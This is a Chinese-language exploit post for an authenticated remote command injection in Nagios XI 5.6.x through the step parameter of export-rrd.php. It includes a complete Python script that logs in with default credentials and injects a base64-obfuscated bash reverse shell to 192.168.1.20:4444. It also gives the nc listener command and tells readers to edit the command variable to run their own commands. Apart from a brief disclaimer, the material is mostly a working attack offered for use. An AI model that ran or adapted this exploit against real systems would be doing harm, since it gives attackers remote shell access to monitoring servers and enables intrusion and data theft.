登陆后的,比较鸡肋。4月份发现的,一直放着,后来看官网更新了,直接发出来吧。另外官方还有一个明显的sql注入没修复。不过也是登陆后,感兴趣的可以去看一下。
简要信息
版本: 5.6.13(5.6.11版本也存在问题,只需要把最后文件名字中的 -
去掉)
条件:登陆后
漏洞文件相关路径:/includes/components/xicore/export-rrd.php、includes/utils-rrdexport.inc.php
漏洞参数:step、start、end
环境
python3
requests库,使用pip3安装即可。python3 -m pip install requests
运行
- 首先在远程机器上监听端口,用于反弹。命令:nc -l -v -p 4444
- python3 nagiox.py target (注:需带协议,如http或https)
另外,如果需要执行自己的命令,需要修改commond变量就可以了,这里也懒得改了。脚本中的命令"1|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAvNDQ0NCAwPiYx\"|base64+-d+|sh+-i);#"
其实就是执行的bash -i >& /dev/tcp/192.168.1.20/4444 0>&1
代码(保存为py文件)
#!/usr/bin/env python3
import sys, re
import requests
user = 'nagiosadmin'
pwd = 'nagiosadmin'
def main():
print("You need runing nc -l -vv -p 4444 at server.")
session = requests.session()
baseUrl = target + '/nagiosxi/'
checkBaseUrl = session.get(baseUrl)
checkBaseResp = checkBaseUrl.text
nsp_patt = "var nsp_str = \"(.*?)\""
find_nsp = re.compile(nsp_patt)
found_nsp = re.search(find_nsp, checkBaseResp)
if found_nsp:
nsp_val = found_nsp.group(1)
print('nsp value found: %s' % ( nsp_val ) )
loginurl = baseUrl + '/login.php'
data_login = {'nsp': nsp_val,'page': 'auth', 'debug':'', 'pageopt':'login','redirect':'http://192.168.121.139/nagiosxi/index.php','username':user, 'password':pwd,'loginButton':''}
req = session.post(loginurl, data=data_login, verify=False, allow_redirects=True)
status_code = req.status_code
resp = req.text
if status_code == 200:
commond = "1|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAvNDQ0NCAwPiYx\"|base64+-d+|sh+-i);#"
req = "{}/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=1584108670&end=1584195130&step={}&type=a&nsp={}".format(baseUrl,commond,nsp_val)
execsh = session.get(req, verify=False, allow_redirects=True)
print(execsh.text)
if __name__ == '__main__':
target = sys.argv[1]
main()
注:请不要将该脚本用于非法用途,仅用于合法的,经过授权的渗透测试,公司内部安全检查与研究使用。由于使用工具带来的不良后果与本人无关。